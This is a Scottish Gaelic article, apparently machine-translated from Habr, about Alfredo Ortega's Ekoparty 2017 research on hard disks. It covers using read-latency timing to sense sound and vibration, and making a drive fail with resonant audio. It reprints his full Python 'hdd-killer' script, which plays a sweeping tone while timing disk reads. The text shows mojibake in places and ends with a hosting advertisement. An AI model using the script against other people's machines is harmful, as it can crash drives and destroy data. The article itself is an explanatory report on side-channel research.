Carson nach bu chòir dhut èigheachd ris an HDD agad

Carson nach bu chòir dhut èigheachd ris an HDD agad

Aig co-labhairt tèarainteachd coimpiutair Ekoparty 2017 ann am Buenos Aires, sheall an neach-tarraing Argentine Alfredo Ortega leasachadh fìor inntinneach - siostam airson sreangadh falaichte de thogalaichean gun a bhith a ’cleachdadh microfòn. Fuaim air a chlàradh gu dìreach chun chlàr cruaidh!

Bidh an HDD sa mhòr-chuid a’ togail fuaimean tricead ìosal àrd, ceumannan-coise agus crith eile. Chan urrainnear cainnt daonna aithneachadh fhathast, ged a tha luchd-saidheans a’ dèanamh rannsachadh a thaobh seo (aithneachadh cainnt le crithean tricead ìosal, a tha air an clàradh, mar eisimpleir, bho gyroscope no HDD).

Is e fuaim crathadh èadhair no meadhan eile. Bidh neach gam faicinn tron ​​​​eardrum, a bhios a’ gluasad crith chun chluais a-staigh. Tha am micreofon air a dhealbhadh gu ìre coltach ri cluais - an seo cuideachd, tha crith air a chlàradh le membran tana, a tha a’ togail spionnadh dealain. Tha an cruth cruaidh, gu dearbh, cuideachd fo ùmhlachd crithean microscopach mar thoradh air caochlaidhean san adhar mun cuairt. Tha seo aithnichte eadhon bho fheartan teignigeach HDDs: mar as trice bidh luchd-saothrachaidh a’ comharrachadh an ìre crathaidh as àirde a tha ceadaichte, agus bidh an draibhear cruaidh fhèin gu tric a’ feuchainn ri a chuir ann an soitheach dìon-chrith air a dhèanamh le rubair no stuth inslitheach eile. Bho seo tha e furasta a cho-dhùnadh gum faodar fuaimean a chlàradh le HDD. Chan eil air fhàgail ach faighinn a-mach ciamar.

Mhol Alfredo Ortega dreach sònraichte de ionnsaigh taobh-seanail, is e sin ionnsaigh ùine. Tha an ionnsaigh seo stèidhichte air a’ bharail gun tèid diofar obrachaidhean a dhèanamh air an inneal aig amannan eadar-dhealaichte, a rèir an dàta cuir a-steach a chaidh a thoirt seachad. Anns a 'chùis seo, is e an "dàta cuir a-steach" crith a' chinn leughaidh agus an truinnsear HDD, a tha co-cheangailte ri crith na h-àrainneachd, is e sin, le fuaim. Mar sin, le bhith a’ tomhas na h-ùine àireamhachaidh agus a’ dèanamh mion-sgrùdadh staitistigeil air an dàta, faodar crith a’ chinn/phlàta agus mar sin crathadh a’ mheadhain a thomhas. Mar as fhaide an dàil ann an leughadh dàta, is ann as làidire a bhios na crithidhean HDD agus, mar sin, mar as àirde am fuaim.

Ciamar a thomhas crathadh draibh cruaidh? Gu math sĂŹmplidh: dĂŹreach ruith gairm an t-siostaim read () - agus clĂ raich an Ăšine a bheir e airson a chrĂŹochnachadh. Leigidh siostaman obrachaidh Ăšr-nodha leat Ă m gairmean siostaim a leughadh le mionaideachd nanosecond.

Tha astar leughaidh fiosrachaidh bho roinn an urra ri suidheachadh a’ chinn agus a ’phlàta, a tha co-cheangailte ri crithean a’ chùis HDD. Sin e.

Tha mion-sgrùdadh staitistigeil air a dhèanamh a’ cleachdadh goireas Kscope sìmplidh. Mar a tha iad ag ràdh, tha a h-uile dad innleachdach sìmplidh.

Carson nach bu chòir dhut èigheachd ris an HDD agad
Goireas Kscope (stat() syscall)

Is e goireas beag a th’ ann an Kscope airson eadar-dhealachaidhean beaga fhaicinn ann an amannan gnìomh gairm siostaim. Stòrair fhoillseachadh air GitHub.

Ann an stòr air leth HDD-ùine tha dreach den ghoireas air a rèiteachadh airson ionnsaigh ùine air a’ chlàr chruaidh, is e sin, air a rèiteachadh gus gairm an t-siostaim a sgrùdadh read ().

Taisbeanadh de chlàradh fuaim a’ cleachdadh HDD, obrachadh goireas Kscope

Cluich bhidio

Gu dearbh, chan urrainnear cainnt a thuigsinn san dòigh seo, ach tha an HDD gu math freagarrach mar sensor crathaidh. Mar eisimpleir, faodaidh tu clàradh ma chaidh neach le brògan cruaidh no casruisgte a-steach do rùm le coimpiutair (is dòcha, ma tha an neach-ionnsaigh a ’caitheamh sneakers bog no ma tha brat-ùrlair tiugh air an làr, cha bhith e comasach don HDD crith a chlàradh - is fhiach seo sgrùdadh). Tha an coimpiutair comasach air glainne briste no tachartasan eile a chlàradh le dian fuaim làidir. Is e sin, faodaidh an cruth cruaidh a bhith na sheòrsa de shiostam lorg sàrachadh gun chead.

Geama HDD killer

A rèir coltais, faodar dòigh-obrach coltach ris a chleachdadh gus draibhean cruaidhe a dhì-chomasachadh. Ach, an seo chan eil sinn a’ glacadh crithidhean bhon HDD, ach an àite sin bidh sinn a’ gineadh crithidhean a thèid a bhiadhadh chun HDD. Ma chluicheas tu claisneachd bho neach-labhairt aig tricead a tha a’ freagairt ri tricead an HDD, dùinidh an siostam an inneal a dh’ aithghearr le mearachd I/O (an kernel). Linux (Bidh seo a’ dùnadh sìos an diosc cruaidh gu tur an dèidh 120 diogan.) Dh’ fhaodadh an draibh cruaidh fhèin a bhith air a mhilleadh nach gabh a chàradh.

Carson nach bu chòir dhut èigheachd ris an HDD agad
An cridhe Linux Dhùin an draibh cruaidh às dèidh 120 diog de bhith a’ cluich fuaim aig tricead ath-shondach tron ​​neach-labhairt USB Edifier r19u. Chaidh an neach-labhairt a thionndadh air aig mu chairteal a chumhachd (nas lugha na 100 mW) agus a shuidheachadh 20 cm bhon HDD, air a chomharrachadh ris a’ bhòrd gus na crithidhean a mheudachadh. Fhathast bho criomag bhidio le taisbeanadh den mharbhaiche HDD

Tha e neònach gum bi an leithid de “ionnsaighean” air HDDn uaireannan a’ tachairt gu tur gun fhiosta ann am beatha làitheil. Mar eisimpleir, san t-Sultain 2016, b’ fheudar do ionad dàta Banca ING stad a chuir air gnìomhachd airson 10 uairean às deidh drile teine. Tha dusanan de dhràibhearan cruaidh air fàiligeadh mar thoradh air fuaim àrd gas inert a bhith air a leigeil ma sgaoil bho siolandairean fo chuideam àrd. Bha am fuaim gu math àrd (barrachd air 130 dB), ach chan urrainn dhut eadhon èigheachd air na draibhean cruaidh - tha seo a’ meudachadh an dàil ann a bhith a’ faighinn cothrom air an HDD.

Taisbeanadh de sgreuchail daonna aig draibhearan cruaidh ann an ionad dĂ ta. Tomhas latency

Cluich bhidio

Gus am fuaim ath-shuidheachaidh a ghineadh, sgrĂŹobh Alfredo Ortega sgriobt Python ris an canar hdd-marbhadh (taisbeanadh bhidio).

Sgriobt airson HDD killer Tha e gu math beag, agus mar sin faodaidh tu fhoillseachadh gu h-iomlan an seo.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Ceannaich aoigheachd earbsach airson làraich le dìon DDoS, frithealaichean VPS VDS 🔥 Ceannaich aoigheachd làrach-lìn earbsach le dìon DDoS, frithealaichean VPS VDS | ProHoster